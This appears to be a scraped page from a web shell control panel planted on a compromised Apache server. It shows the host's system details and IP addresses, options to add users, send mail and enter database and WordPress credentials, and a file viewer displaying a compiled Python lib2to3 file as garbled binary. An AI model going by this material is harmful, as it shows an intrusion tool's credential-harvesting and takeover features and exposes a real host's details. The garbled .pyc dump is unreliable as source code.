System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib64
/
python2.7
/
lib2to3
/
fixes
/
216.73.216.146
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for accounting.gulfstore-gcc.com made by tabagkayu.
Folder Name
File Name
File Content
File
fix_metaclass.pyc
� {fc @ s� d Z d d l m Z d d l m Z d d l m Z m Z m Z m Z d � Z d � Z d � Z d � Z d � Z d � Z d e j f d � � YZ d S( s� Fixer for __metaclass__ = X -> (metaclass=X) methods. The various forms of classef (inherits nothing, inherits once, inherints many) don't parse the same in the CST so we look at ALL classes for a __metaclass__ and if we find one normalize the inherits to all be an arglist. For one-liner classes ('class X: pass') there is no indent/dedent so we normalize those into having a suite. Moving the __metaclass__ into the classdef can also cause the class body to be empty so there is some special casing for that as well. This fixer also tries very hard to keep original indenting and spacing in all those corner cases. i ( t fixer_base( t token( t Namet symst Nodet Leafc C s� x� | j D]� } | j t j k r, t | � S| j t j k r | j r | j d } | j t j k r� | j r� | j d } t | t � r� | j d k r� t Sq� q q Wt S( s� we have to check the cls_node without changing it. There are two possibilities: 1) clsdef => suite => simple_stmt => expr_stmt => Leaf('__meta') 2) clsdef => simple_stmt => expr_stmt => Leaf('__meta') i t __metaclass__( t childrent typeR t suitet has_metaclasst simple_stmtt expr_stmtt isinstanceR t valuet Truet False( t parentt nodet expr_nodet left_side( ( s3 /usr/lib64/python2.7/lib2to3/fixes/fix_metaclass.pyR s c C s� x'